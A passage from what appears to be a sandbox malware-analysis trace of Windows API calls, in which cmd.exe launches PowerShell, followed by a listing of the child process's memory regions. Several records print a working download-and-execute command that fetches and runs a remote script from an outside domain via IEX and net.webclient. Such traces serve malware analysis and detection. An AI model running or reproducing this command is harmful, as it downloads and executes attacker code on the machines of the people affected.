CodePage=0x1b5, lpCPInfo=0x4ad2bfe0 | out: lpCPInfo=0x4ad2bfe0) returned 1 [0057.607] SetConsoleCtrlHandler (HandlerRoutine=0x4ad13184, Add=1) returned 1 [0057.607] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.607] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0057.607] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.607] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ad1e194 | out: lpMode=0x4ad1e194) returned 1 [0057.607] _get_osfhandle (_FileHandle=1) returned 0x7 [0057.607] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0057.607] _get_osfhandle (_FileHandle=0) returned 0x3 [0057.607] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ad1e198 | out: lpMode=0x4ad1e198) returned 1 [0057.608] _get_osfhandle (_FileHandle=0) returned 0x3 [0057.608] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0057.608] GetEnvironmentStringsW () returned 0x2e8c20* [0057.608] FreeEnvironmentStringsW (penv=0x2e8c20) returned 1 [0057.608] GetEnvironmentStringsW () returned 0x2e8c20* [0057.608] FreeEnvironmentStringsW (penv=0x2e8c20) returned 1 [0057.608] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aed08 | out: phkResult=0x1aed08*=0x44) returned 0x0 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x18, lpcbData=0x1aed04*=0x1000) returned 0x2 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x1000) returned 0x2 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x0, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x1000) returned 0x2 [0057.608] RegCloseKey (hKey=0x44) returned 0x0 [0057.608] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aed08 | out: phkResult=0x1aed08*=0x44) returned 0x0 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x40, lpcbData=0x1aed04*=0x1000) returned 0x2 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x1, lpcbData=0x1aed04*=0x1000) returned 0x2 [0057.608] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x0, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.609] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x9, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.609] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x4, lpData=0x1aed20*=0x9, lpcbData=0x1aed04*=0x4) returned 0x0 [0057.609] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aed00, lpData=0x1aed20, lpcbData=0x1aed04*=0x1000 | out: lpType=0x1aed00*=0x0, lpData=0x1aed20*=0x9, lpcbData=0x1aed04*=0x1000) returned 0x2 [0057.609] RegCloseKey (hKey=0x44) returned 0x0 [0057.609] time (in: timer=0x0 | out: timer=0x0) returned 0x5b17aebb [0057.609] srand (_Seed=0x5b17aebb) [0057.609] GetCommandLineW () returned="CMD.EXE /c C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\\\"http://brembotembo.com/1.dat\\\"))" [0057.609] GetCommandLineW () returned="CMD.EXE /c C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\\\"http://brembotembo.com/1.dat\\\"))" [0057.609] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ad2c0a0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0057.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2eaca0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\CMD.EXE" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0057.609] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ad1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0057.609] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ad1f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0057.609] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ad1f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0057.609] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0057.609] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0057.609] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0057.609] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0057.609] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0057.609] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0057.609] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0057.609] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0057.609] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0057.609] GetEnvironmentStringsW () returned 0x2e8c20* [0057.610] FreeEnvironmentStringsW (penv=0x2e8c20) returned 1 [0057.610] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ad1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0057.610] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ad1f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0057.610] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0057.610] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0057.610] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0057.610] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0057.610] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0057.610] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0057.610] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0057.610] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0057.610] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1afb10 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0057.610] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x104, lpBuffer=0x1afb10, lpFilePart=0x1afaf0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x1afaf0*="Desktop") returned 0x1a [0057.610] GetFileAttributesW (lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 0x11 [0057.610] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af820 | out: lpFindFileData=0x1af820) returned 0x2d1370 [0057.610] FindClose (in: hFindFile=0x2d1370 | out: hFindFile=0x2d1370) returned 1 [0057.610] FindFirstFileW (in: lpFileName="C:\\Users\\qj4SUKboE", lpFindFileData=0x1af820 | out: lpFindFileData=0x1af820) returned 0x2d1370 [0057.610] FindClose (in: hFindFile=0x2d1370 | out: hFindFile=0x2d1370) returned 1 [0057.610] _wcsnicmp (_String1="QJ4SUK~1", _String2="qj4SUKboE", _MaxCount=0x9) returned 28 [0057.610] FindFirstFileW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", lpFindFileData=0x1af820 | out: lpFindFileData=0x1af820) returned 0x2d1370 [0057.610] FindClose (in: hFindFile=0x2d1370 | out: hFindFile=0x2d1370) returned 1 [0057.611] GetFileAttributesW (lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 0x11 [0057.611] SetCurrentDirectoryW (lpPathName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 1 [0057.611] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\qj4SUKboE\\Desktop") returned 1 [0057.611] GetEnvironmentStringsW () returned 0x2e8c20* [0057.611] FreeEnvironmentStringsW (penv=0x2e8c20) returned 1 [0057.611] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ad2c0a0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0057.611] GetConsoleOutputCP () returned 0x1b5 [0057.611] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ad2bfe0 | out: lpCPInfo=0x4ad2bfe0) returned 1 [0057.611] GetUserDefaultLCID () returned 0x409 [0057.611] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ad27b50, cchData=8 | out: lpLCData=":") returned 2 [0057.611] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1afc20, cchData=128 | out: lpLCData="0") returned 2 [0057.611] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1afc20, cchData=128 | out: lpLCData="0") returned 2 [0057.611] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1afc20, cchData=128 | out: lpLCData="1") returned 2 [0057.611] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ad3a740, cchData=8 | out: lpLCData="/") returned 2 [0057.611] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ad3a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ad3a460, cchData=32 | out: lpLCData="Tue") returned 4 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ad3a420, cchData=32 | out: lpLCData="Wed") returned 4 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ad3a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ad3a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ad3a360, cchData=32 | out: lpLCData="Sat") returned 4 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ad3a700, cchData=32 | out: lpLCData="Sun") returned 4 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ad27b40, cchData=8 | out: lpLCData=".") returned 2 [0057.612] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ad3a4e0, cchData=8 | out: lpLCData=",") returned 2 [0057.612] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0057.612] GetConsoleTitleW (in: lpConsoleTitle=0x2d14f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.EXE") returned 0x1b [0057.612] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0057.612] GetProcAddress (hModule=0x772d0000, lpProcName="CopyFileExW") returned 0x772e23d0 [0057.612] GetProcAddress (hModule=0x772d0000, lpProcName="IsDebuggerPresent") returned 0x772d8290 [0057.612] GetProcAddress (hModule=0x772d0000, lpProcName="SetConsoleInputExeNameW") returned 0x772e17e0 [0057.614] _wcsicmp (_String1="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", _String2=")") returned 58 [0057.614] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 3 [0057.614] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 3 [0057.614] _wcsicmp (_String1="IF", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 6 [0057.614] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 6 [0057.614] _wcsicmp (_String1="REM", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 15 [0057.615] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 15 [0057.616] GetConsoleTitleW (in: lpConsoleTitle=0x1afb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.EXE") returned 0x1b [0057.616] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0057.616] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0057.616] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1af6c0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x1af6a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1af6a0*=0x500fb205, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.616] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0057.616] SetErrorMode (uMode=0x0) returned 0x8001 [0057.617] SetErrorMode (uMode=0x1) returned 0x0 [0057.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\.", nBufferLength=0x208, lpBuffer=0x2e8c30, lpFilePart=0x1af3c0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x1af3c0*="v1.0") returned 0x2a [0057.617] SetErrorMode (uMode=0x8001) returned 0x1 [0057.617] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\.") returned 1 [0057.617] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ad1f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0057.619] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0057.619] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x1af130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af130) returned 0x2d1d40 [0057.619] FindClose (in: hFindFile=0x2d1d40 | out: hFindFile=0x2d1d40) returned 1 [0057.620] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0057.620] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0057.620] GetConsoleTitleW (in: lpConsoleTitle=0x1af680, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.EXE") returned 0x1b [0057.620] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af438, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af3f8 | out: lpAttributeList=0x1af438, lpSize=0x1af3f8) returned 1 [0057.620] UpdateProcThreadAttribute (in: lpAttributeList=0x1af438, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af3e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af438, lpPreviousValue=0x0) returned 1 [0057.620] GetStartupInfoW (in: lpStartupInfo=0x1af550 | out: lpStartupInfo=0x1af550*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\CMD.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x7, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.620] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0057.621] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0057.621] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0057.622] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\\\"http://brembotembo.com/1.dat\\\"))", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\qj4SUKboE\\Desktop", lpStartupInfo=0x1af470*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\\\"http://brembotembo.com/1.dat\\\"))", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af420 | out: lpCommandLine="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\\\"http://brembotembo.com/1.dat\\\"))", lpProcessInformation=0x1af420*(hProcess=0x54, hThread=0x50, dwProcessId=0x9e4, dwThreadId=0xb5c)) returned 1 [0057.628] CloseHandle (hObject=0x50) returned 1 [0057.628] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0057.628] GetEnvironmentStringsW () returned 0x2eb9a0* [0057.628] FreeEnvironmentStringsW (penv=0x2eb9a0) returned 1 [0057.628] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "5" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x3b1fb000" os_pid = "0x9e4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xb94" cmd_line = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\\\"http://brembotembo.com/1.dat\\\"))" cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1057 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1058 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1059 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1060 start_va = 0x200000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1061 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1062 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1063 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1064 start_va = 0x13fe40000 end_va = 0x13feb6fff entry_point = 0x13fe40000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1065 start_va = 0x7feff710000 end_va = 0x7feff710fff entry_point = 0x7feff710000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1066 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1067 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1068 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1069 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1070 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x772d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1071 start_va = 0x7fefd430000 end_va = 0x7fefd49afff entry_point = 0x7fefd430000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1072 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1073 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1074 start_va = 0x280000 end_va = 0x2e6fff entry_point = 0x280000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1075 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 